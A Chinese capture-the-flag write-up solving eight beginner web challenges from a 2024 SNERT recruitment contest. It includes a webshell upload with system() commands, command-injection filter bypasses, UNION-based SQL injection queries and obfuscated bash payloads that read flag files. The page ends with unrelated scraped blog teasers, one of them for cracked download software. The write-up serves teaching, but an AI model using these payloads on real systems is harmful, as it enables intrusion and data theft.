2024 SNERT 预备队招新 CTF 体验赛-Web
目录
1、robots
2、NOF12
3、get_post
4、好事慢磨
5、uploads
6、rce
7、ezsql
8、RCE
1、robots

robots 协议又叫爬虫协议,访问 robots.txt

继续访问 /JAY.php

拿到 flag:flag{hello_Do_YOU_KONw_JAY!}
2、NOF12

F12 和右键都被禁用

方法(1)
通过浏览器点击打开开发人员工具

源码里看到 flag:flag{wellcome_TO_CTF!!!}

方法(2)
提前打开 F12

再访问进入题目地址

3、get_post
基本的 get 和 post 传参方式,payload:
?a=helloctf
post:b=666

两次 base64 解码


拿到 flag:flag{hello!!!it_so_easy}
4、好事慢磨

简单测试一下可以发现 flag 一共有 300 位

F12 在源码里看到 post 请求参数名为 hacker

试一下,确实可以正常回显

用 python 写个脚本跑就可以了
exp:
# @author:Myon
# @time:20240828
import requests
import reurl = 'http://snert.net.cn:10001/'
out = ''
for i in range(300):payload = {'hacker': f'{i}'}# print(payload)res = requests.post(url, data=payload)# print(res.text)match = re.search(r':(.+)', res.text) # 匹配冒号后面的所有字符out += match.group(1)print(out)

拿到 flag:
flag{pa2hpl-pkfwbv42tnvv-qeviypz7z4xorksoo95so-9uv3m5jxq5mbhm154wjl3068eo-3985u36ahbqj7my1d7bv2ld2avi63utr5n3vga6dlgfnxjy-jzzvine7hx6mtl668v2cp9z46zem696rnkvw174couqof1e7d82hwutf-cfwayhsyebppztvmrgmo7dl1qf-dewym0i4y4v8kvd1cn1v1oqlqxbeqz5t1mt2kburhafuivsz7khbvcum-xbne6rgi9losgjii-3bqou8l7j5zjm264h9z}
5、uploads

没有任何过滤,直接传一句话木马

调用,在上一层目录看到 flag.php
cmd=system('ls ../');

读取:
cmd=system('tac ../f*');

拿到 flag:flag{BDQLKdC6yDJ2DxphWzJrWDjQsHnHTZ3s}
6、rce

代码审计:
post 传入 a,如果传入的内容里面有 cat 或者 flag,都会被替换为空,之后输出替换后剩下的内容,再将其传给 system 函数作为参数进行调用,输出返回的结果。
先看一下当前目录下有什么:
a=ls

有一个叫 flag.php 的东西,注意这里有点容易看错,我一开始看成了 lsflag.php,其实前面的 ls 是我们执行的命令被 echo 输出了,所有真正的文件名应该是 flag.php。
方法(1):换一个读取命令,不使用 cat,结合通配绕过
payload:
a=tac f*

拿到 flag:flag{TTBnmqQa3cX0Hg6D522Y2Y7Pn3PZtog4}
当然还有很多其他的命令可以用,比如反向输出,问号进行通配等:
a=rev fla?.???

方法(2):双写绕过
a=cacatt flaflagg.php
替换掉其中的 cat 和 flag 剩下的就是 cat flag.php

查看源代码即可看到 flag

7、ezsql

查询 Alex
返回 ID: 1 - Name: Alex - Password: Alex_123
如果你查我的名字其实可以得到一个小提示

就是没有任何过滤的 sql 注入,关于 sqlmap 跑的我就不演示了,下面简单说一下手动注入的流程。
输入单引号报错:如果是萌新会很不理解为什么要这样为什么会报错,正如我提示里面所说,先去了解 sql 注入的原理吧。

使用 # 注释掉后面内容,闭合成功

由前面 Alex 的查询结果回显可以推断字段数为 3
直接查数据库下的所有表名:
' union select 1,2,table_name from information_schema.tables where table_schema=database()#

可以看到存在一个名为 googthings 的表,查该表下的列名:
' union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name='goodthings'#
列名也是 username 和 password

正如一开始题目所说,密码里面藏着东西,那么这里其实都不用查列名,直接查 goodthings
这个表下面的 password 列的内容即可:
' union select 1,2,password from goodthings #

拿到 flag:flag{war6m9-gyn6rl6q8ik1qp-pe4eqttoos7tl6o-dvxm9jmt3pk}
8、RCE

限制死了只能使用这些字符:{(FAST:HIP)}$~
出这道题的想法来源于我之前刷到过的两个题,一个是 Linux 内置环境变量
参考我之前的博客:
ctfshow-web入门-命令执行(web118详解)Linux 内置变量与Bash切片_web 118 ctfshow-CSDN博客
https://blog.csdn.net/Myon5/article/details/140145005
光有 Linux 内置环境变量还不够,我们还需要用到切片操作,因此还需要构造数字,同样参考我之前的博客:web57
ctfshow-web入门-命令执行(web56、web57、web58)_ctfshow web57-CSDN博客
https://blog.csdn.net/Myon5/article/details/139746224
这里我们利用上述字符可以构造出 $PATH
这个东西的前面部分基本上都是一样的:



即:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
所以这里默认这部分是我们已知的,我们利用切片操作就可以构造出 /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 里面的任意一个字符,进而我们就可以继续构造 ls、nl 等命令,空格我们使用 ${IFS} 代替。
详细看完我前两篇博客所说的内容,你就会真正理解 payload 是如何构造的。
构造 payload 读取根目录下面的文件:
ls /
即
嘻嘻嘻=${PATH:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))}${PATH:$((~$(($((~$(())))$((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))}${IFS}${PATH:$(()):$((~$(($((~$(())))$((~$(())))))))}

未见 flag 文件,但是存在一个名为 burn 的文件,这个文件名在根目录下是不常见的,结合 php 源码勇师傅有注释说:# flag被我烧掉了,burn 就是燃烧的意思。
构造 payload 读取这个文件:
nl /burn
即
嘻嘻嘻=${PATH:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))}${PATH:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))}${IFS}${PATH:$(()):$((~$(($((~$(())))$((~$(())))))))}${PATH:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))}${PATH:$((~$(($((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))}${PATH:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))}${PATH:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))}

拿到 flag:flag{r18s4bcp-ctvmmijn6a2g7-pnbrwudl}
这个题算是勇师傅最后弄的一个压轴题吧,不压一下第一天上午 web 就全穿了,除了这道,这次的 web 题都出的非常简单和基础,最后,期待大一大二的加入 SNERT 学习!
相关文章:
2024 SNERT 预备队招新 CTF 体验赛-Web
目录 1、robots 2、NOF12 3、get_post 4、好事慢磨 5、uploads 6、rce 7、ezsql 8、RCE 1、robots robots 协议又叫爬虫协议,访问 robots.txt 继续访问 /JAY.php 拿到 flag:flag{hello_Do_YOU_KONw_JAY!} 2、NOF12 F12 和右键都被禁用 方法&#…...
亲测全网10大“免费”论文降重神器!论文写作必备!
在当今学术研究和论文写作中,AI技术的应用已经变得越来越普遍。为了帮助学者们更高效地完成论文撰写任务,以下将详细介绍十款必备的论文写作工具,其中特别推荐千笔-AIPassPaper。 1. 千笔-AIPassPaper 千笔-AIPassPaper是一款基于深度学习和…...
二分算法——优选算法
个人主页:敲上瘾-CSDN博客 个人专栏:游戏、数据结构、c语言基础、c学习、算法 本章我们来学习的是二分查找算法,二分算法的应用非常广泛,不仅限于数组查找,还可以用于解决各种搜索问题、查找极值问题等。在数据结构和算…...
Kafka 的基本概念
一、Kafka 主要用来做什么 作为消息系统:Kafka 具备系统解藕,流量削峰,缓冲,异步通信,扩展性,可恢复性等功能,以及消息顺序性保障和回溯消费 作为存储系统:Kafka 把消息持久化到磁…...
《粮油与饲料科技》是什么级别的期刊?是正规期刊吗?能评职称吗?
问题解答 问:《粮油与饲料科技》是不是核心期刊? 答:不是,是知网收录的第一批认定 学术期刊。 问:《粮油与饲料科技》级别? 答:省级。主管单位:中文天地出版传媒集团股份有限公司…...
Python之一些列表的练习题
1.比较和对比字符串、列表和元组。例如,它们可以容纳哪类内容以及在数据结构上可以做哪些操作。 1. 内容类型:- 字符串: 只能包含字符(文本)。- 列表: 可以包含任意类型的数据,如数字、字符串、其他列表等。- 元组: 可以包含任意类型的数据,与列表类似。3. 操作:(1…...
MoFA: 迈向AIOS
再一次向朋友们致以中秋的祝福! MoFA (Modular Framework for Agents)是一个独特的模块化AI智能体框架。MoFA以组合(Composition)的逻辑和编程(Programmable)的方法构建AI智能体。开发者通过模版的继承、编程、定制智能体…...
c语言中define使用方法
在C语言中,#define指令是预处理指令,用于定义宏。其常用格式是: 定义常量: #define 常量名 常量值 例子: #define PI 3.14159 #define MAX_SIZE 100 这里,PI和MAX_SIZE在代码中会被替换为其对应的值。没有…...
尚品汇-秒杀商品定时任务存入缓存、Redis发布订阅实现状态位(五十一)
目录: (1)秒杀业务分析 (2)搭建秒杀模块 (3)秒杀商品导入缓存 (4)redis发布与订阅实现 (1)秒杀业务分析 需求分析 所谓“秒杀”࿰…...
第十一章 【后端】商品分类管理微服务(11.4)——spring-boot-devtools
11.4 spring-boot-devtools 官网:https://docs.spring.io/spring-boot/reference/using/devtools.html Spring Boot DevTools 是 Spring Boot 提供的一组易于使用的工具,旨在加速开发和测试过程。它通过提供一系列实用的功能,如自动重启、实时属性更新、依赖项的热替换等,…...
MySQL篇(索引)(持续更新迭代)
目录 一、简介 二、有无索引情况 1. 无索引情况 2. 有索引情况 3. 优劣势 三、索引结构 1. 简介 2. 存储引擎对于索引结构的支持情况 3. 为什么InnoDB默认的索引结构是Btree而不是其它树 3.1. 二叉树(BinaryTree) 3.2. 红黑树(RB&a…...
通用接口开放平台设计与实现——(31)API服务线程安全问题确认与修复
背景 在本系列的前面一篇博客评论中,有小伙伴指出,API服务存在线程安全问题: https://blog.csdn.net/seawaving/article/details/122905199#comments_34477405 今天来确认下,线程是否安全?如不安全,如何…...
2011-2022年数字金融与企业ESG表现:效应、机制与“漂绿”检验(内含原始数据+处理代码)
2011-2022年数字金融与企业ESG表现:效应、机制与“漂绿”检验(内含原始数据处理代码) 1、时间:2011-2022年 2、来源:上市公司年报、华证ESG、北大数字普惠金融 3、指标:年份、股票代码、股票简称、行业名…...
mysql配置相关命令
一、允许所有人访问: -- 1.切换至mysql库 use mysql;-- 2.查看用户表 SELECT Host,User FROM user;-- 3.修改字段 UPDATE user SET Host % WHERE User root;-- 4.刷新权限 flush privileges;二、修改加密方式 -- 1.切换至mysql库 use mysql;-- 2.查看用户表 SELEC…...
【自用软件】IDM下载器 Internet Download Manager v6.42 Build 10
下载IDM&pj安装教程 Internet Download Manager,简称 IDM,是国外的一款优秀下载工具。目前凭借着下载计算的速度优势在外媒网站中均受好评,现在已被多数国人熟知。Internet Download Manager 提升你的下载速度最多达5倍,安排下…...
Kafka集群扩容(新增一台kafka节点)
kafka集群扩容、kafka topic迁移 现有环境 IP组件角色192.168.17.51kafka01broker1192.168.17.52kafka02broker2192.168.17.53kafka03broker3 扩容之后环境 IP组件角色192.168.17.51kafka01broker1192.168.17.52kafka02broker2192.168.17.53kafka03broker3192.168.17.54ka…...
作文笔记15 点面结合
事件中场面写作方法:点面结合(对毛主席的描写和三十万群众的描写间插进行)。好处是强化描写的层次感,既有整体形象描写,又凸显人物个性特点。 景色描写方法:动态描写,静态描写,动静…...
Spring Boot-国际化(I18N)问题
Spring Boot 国际化(I18N)问题及其解决方案 1. 引言 随着全球化的推进,软件开发中的国际化(I18N)需求日益增长。国际化是指通过设计应用程序,使其能够轻松适应不同语言和地区的需求,而无需修改…...
8. 防火墙
8. 防火墙 (1) 防火墙的类型和结构 防火墙的类型和结构可以根据其在网络协议栈中的过滤层次和实现方式进行分类。常见的防火墙类型包括: 包过滤防火墙:工作在网络层(OSI模型的第3层),主要检查IP包头的信息,如源地址、目的地址、端口号等。电路级网关防火墙:工作在会话层…...
C语言循环学习
作为初学者,学习C语言中的循环结构是非常重要的,它们能让你轻松地重复执行代码。在C语言中,常用的循环结构主要有for循环和while循环。我们将从基本概念开始,逐步讲解如何使用这两种循环,并通过示例帮助你理解和练习。…...
手机和电脑怎样换背景颜色?2026 年最全操作指南来了
想要轻松改变设备背景颜色却不知道从何下手?无论你用的是手机还是电脑,换背景颜色其实比你想象的要简单得多。本篇文章将为你详细介绍各种设备和软件上的背景颜色更换方法,帮你快速掌握这项基础操作技能。手机换背景颜色操作方法完全指南iOS …...
Windows环境5步搞定OpenCore引导盘:Hackintosh安装终极指南
Windows环境5步搞定OpenCore引导盘:Hackintosh安装终极指南 【免费下载链接】OpenCore-Install-Guide Repo for the OpenCore Install Guide 项目地址: https://gitcode.com/gh_mirrors/op/OpenCore-Install-Guide 想要在普通PC上体验macOS的流畅与优雅吗&am…...
AArch64 TRCCNTCTLR寄存器详解与调试技巧
1. AArch64 TRCCNTCTLR寄存器概述在AArch64架构中,TRCCNTCTLR(Trace Counter Control Register)是嵌入式跟踪扩展(FEAT_ETE)功能的重要组成部分。作为系统调试和性能分析的核心组件,它负责控制跟踪计数器的…...
Windows右键菜单终极优化指南:用ContextMenuManager让你的右键菜单秒开如飞
Windows右键菜单终极优化指南:用ContextMenuManager让你的右键菜单秒开如飞 【免费下载链接】ContextMenuManager 🖱️ 纯粹的Windows右键菜单管理程序 项目地址: https://gitcode.com/gh_mirrors/co/ContextMenuManager 你是否经历过这样的烦恼&…...
AI驱动数字孪生:从静态镜像到自主决策的工业智能体
1. 项目概述:当物理世界有了“数字分身”,它就开始自己思考了我第一次在德国一家汽车厂的控制中心看到那个画面时,手里的咖啡差点洒出来——大屏幕上,整条总装线正以毫秒级延迟同步运转:机械臂的关节扭矩、焊点温度曲线…...
自动化运维:Ansible与基础设施即代码
自动化运维:Ansible与基础设施即代码 大家好,我是欧阳瑞(Rich Own)。今天想和大家聊聊自动化运维这个重要话题。作为一个全栈开发者,自动化运维可以大大提高运维效率和可靠性。今天就来分享一下Ansible和基础设施即代码…...
vue3+python基于Django框架的铁路博物馆展览系统的设计与实现67350649
目录同行可拿货,招校园代理 ,本人源头供货商项目背景技术栈核心功能模块关键技术实现部署方案项目亮点项目技术支持源码获取详细视频演示 :同行可合作点击我获取源码->->进我个人主页-->获取博主联系方式同行可拿货,招校园代理 ,本人源头供货商 项目背景 …...
用LLM嵌入向量破解工业微缺陷检测的长尾难题
1. 项目概述:当大模型“看走眼”时,我们该怎么教它识别那些几乎看不见的异常?你有没有遇到过这样的情况:一个工业质检系统,对明显划痕、缺料、锈蚀这类“教科书式”缺陷识别率高达99%,可一旦面对0.3毫米宽的…...
Java 后端转 AI 应用开发,我发现真正的机会不在算法,而在落地
普通 Java 后端转 AI 应用开发,不要一开始就被算法、论文、训练大模型吓住。大多数企业真正需要的,是有人能把大模型接入业务、接入数据、接入权限、接入流程,并且让系统稳定上线。一、先说结论:AI 应用开发,不等于训练…...
GNSS信号丢了也不怕:这款组合导航系统真硬核
在无人系统快速发展的今天,精准可靠的定位导航已成为各类智能装备的核心刚需。然而,传统高精度组合导航系统往往价格昂贵,让许多项目团队望而却步。ER-GNSS/MINS-03为了打破这一僵局——将战术级MEMS惯性器件与全系统全频点双天线GNSS模块深度…...
